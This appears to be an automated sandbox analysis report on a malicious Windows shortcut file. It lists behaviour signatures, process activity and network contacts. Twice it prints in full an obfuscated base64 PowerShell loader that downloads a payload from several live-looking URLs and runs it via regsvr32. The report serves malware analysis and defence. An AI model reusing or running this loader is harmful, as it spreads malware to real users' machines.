Analysis Overview
SHA256
b6be479e45ce3952c378a7488c7124eb94f32243d9e1e0a5d5b23a77a2d5fc55
Threat Level: Likely malicious
The file b6be479e45ce3952c378a7488c7124eb94f32243d9e1e0a5d5b23a77a2d5fc55 was found to be: Likely malicious.
Malicious Activity Summary
Blocklisted process makes network request
Checks computer location settings
Command and Scripting Interpreter: PowerShell
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-11-13 13:17
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-11-13 13:17
Reported
2024-11-13 13:19
Platform
win7-20241023-en
Max time kernel
119s
Max time network
121s
Command Line
Signatures
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2396 wrote to memory of 2580 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2396 wrote to memory of 2580 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2396 wrote to memory of 2580 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\b6be479e45ce3952c378a7488c7124eb94f32243d9e1e0a5d5b23a77a2d5fc55.lnk
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "&{'MYvExyEhEwrb0+7Wwzlgq6aosqspG0hPUZnj2VbNfoOTH5tdwRZxuUtCGrFfBZhf/3eHdGFZ';$HRfF='ICAgICBXcml0ZS1Ib3N0ICJXTHJWUCI7JFByb2dyZXNzUHJlZmVyZW5jZT0iU2lsZW50bHlDb250aW51ZSI7JGxpbmtzPSgiaHR0cHM6Ly93d3cuaW5ncm91cGNvbnN1bHQuY29tL2ltYWdlcy9QRXgvIiwiaHR0cDovL3d1bGYubmwvY2dpLWJpbi9';$RFnG='0LyIsImh0dHA6Ly93cC5lcnlhei5uZXQvYmF5YXIxLzlaQUFPLyIsImh0dHA6Ly93d3cuY2lzbmMuaXQvd3AtY29udGVudC9TZ0NicklSeVV3YjlrakVLZTNKLyIsImh0dHA6Ly9hbGRvanVhbnBldHRpdGkuY29tLmFyL2FsbWFodS5jb20uYXIvQURPWXMvIiwiaHR0cDovL3poaXZpci5jb20vd3AvVS8iKTskdD0iVFFRd25jVGRLIjskZD0iJGVudjpUTVBcLi5cJHQiO21rZGlyIC1mb3JjZSAkZCB8IG91dC1udWxsO2ZvcmVhY2ggKCR1IGluICRsaW5rcykge3RyeSB7SVdSICR1IC1PdXRGaWxlICRkXEVKanVUcHdpWUEuUEhCO1JlZ3N2cjMyLmV4ZSAiJGRcRUpqdVRwd2lZQS5QSEIiO2JyZWFrfSBjYXRjaCB7IH19';$ryVIql=$HRfF+$RFnG;$zDDWaH=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($ryVIql));$ryVIql=$zDDWaH;iex($ryVIql)}"
Network
Files
memory/2580-38-0x000007FEF61BE000-0x000007FEF61BF000-memory.dmp
memory/2580-39-0x000000001B4D0000-0x000000001B7B2000-memory.dmp
memory/2580-40-0x0000000001D60000-0x0000000001D68000-memory.dmp
memory/2580-41-0x000007FEF5F00000-0x000007FEF689D000-memory.dmp
memory/2580-42-0x000007FEF5F00000-0x000007FEF689D000-memory.dmp
memory/2580-43-0x000007FEF5F00000-0x000007FEF689D000-memory.dmp
memory/2580-44-0x000007FEF5F00000-0x000007FEF689D000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-11-13 13:17
Reported
2024-11-13 13:19
Platform
win10v2004-20241007-en
Max time kernel
92s
Max time network
139s
Command Line
Signatures
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation | C:\Windows\system32\cmd.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 432 wrote to memory of 3900 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 432 wrote to memory of 3900 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\b6be479e45ce3952c378a7488c7124eb94f32243d9e1e0a5d5b23a77a2d5fc55.lnk
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "&{'MYvExyEhEwrb0+7Wwzlgq6aosqspG0hPUZnj2VbNfoOTH5tdwRZxuUtCGrFfBZhf/3eHdGFZ';$HRfF='ICAgICBXcml0ZS1Ib3N0ICJXTHJWUCI7JFByb2dyZXNzUHJlZmVyZW5jZT0iU2lsZW50bHlDb250aW51ZSI7JGxpbmtzPSgiaHR0cHM6Ly93d3cuaW5ncm91cGNvbnN1bHQuY29tL2ltYWdlcy9QRXgvIiwiaHR0cDovL3d1bGYubmwvY2dpLWJpbi9';$RFnG='0LyIsImh0dHA6Ly93cC5lcnlhei5uZXQvYmF5YXIxLzlaQUFPLyIsImh0dHA6Ly93d3cuY2lzbmMuaXQvd3AtY29udGVudC9TZ0NicklSeVV3YjlrakVLZTNKLyIsImh0dHA6Ly9hbGRvanVhbnBldHRpdGkuY29tLmFyL2FsbWFodS5jb20uYXIvQURPWXMvIiwiaHR0cDovL3poaXZpci5jb20vd3AvVS8iKTskdD0iVFFRd25jVGRLIjskZD0iJGVudjpUTVBcLi5cJHQiO21rZGlyIC1mb3JjZSAkZCB8IG91dC1udWxsO2ZvcmVhY2ggKCR1IGluICRsaW5rcykge3RyeSB7SVdSICR1IC1PdXRGaWxlICRkXEVKanVUcHdpWUEuUEhCO1JlZ3N2cjMyLmV4ZSAiJGRcRUpqdVRwd2lZQS5QSEIiO2JyZWFrfSBjYXRjaCB7IH19';$ryVIql=$HRfF+$RFnG;$zDDWaH=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($ryVIql));$ryVIql=$zDDWaH;iex($ryVIql)}"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 28.118.140.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | www.ingroupconsult.com | udp |
| US | 8.8.8.8:53 | 71.31.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| SG | 68.178.159.203:443 | www.ingroupconsult.com | tcp |
| US | 8.8.8.8:53 | ingroupconsult.com | udp |
| SG | 68.178.159.203:443 | ingroupconsult.com | tcp |
| US | 8.8.8.8:53 | 203.159.178.68.in-addr.arpa | udp |
| US | 8.8.8.8:53 | wulf.nl | udp |
| NL | 185.71.60.11:80 | wulf.nl | tcp |
| US | 8.8.8.8:53 | 196.249.167.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | wp.eryaz.net | udp |
| US | 8.8.8.8:53 | www.cisnc.it | udp |
| IT | 109.116.126.217:80 | www.cisnc.it | tcp |
| US | 8.8.8.8:53 | aldojuanpettiti.com.ar | udp |
| US | 8.8.8.8:53 | 217.126.116.109.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 50.23.12.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | zhivir.com | udp |
| CA | 207.176.218.157:80 | zhivir.com | tcp |
| CA | 207.176.218.157:443 | zhivir.com | tcp |
| US | 8.8.8.8:53 | 198.187.3.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 157.218.176.207.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 103.209.201.84.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 240.221.184.93.in-addr.arpa | udp |
Files
memory/3900-2-0x00007FFEAEB93000-0x00007FFEAEB95000-memory.dmp
memory/3900-3-0x000001CEF3680000-0x000001CEF36A2000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_n55fjtpw.eyi.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/3900-13-0x00007FFEAEB90000-0x00007FFEAF651000-memory.dmp
memory/3900-14-0x00007FFEAEB90000-0x00007FFEAF651000-memory.dmp
memory/3900-15-0x00007FFEAEB93000-0x00007FFEAEB95000-memory.dmp
memory/3900-16-0x00007FFEAEB90000-0x00007FFEAF651000-memory.dmp
memory/3900-17-0x00007FFEAEB90000-0x00007FFEAF651000-memory.dmp
memory/3900-18-0x000001CEF6390000-0x000001CEF6B36000-memory.dmp
memory/3900-24-0x00007FFEAEB90000-0x00007FFEAF651000-memory.dmp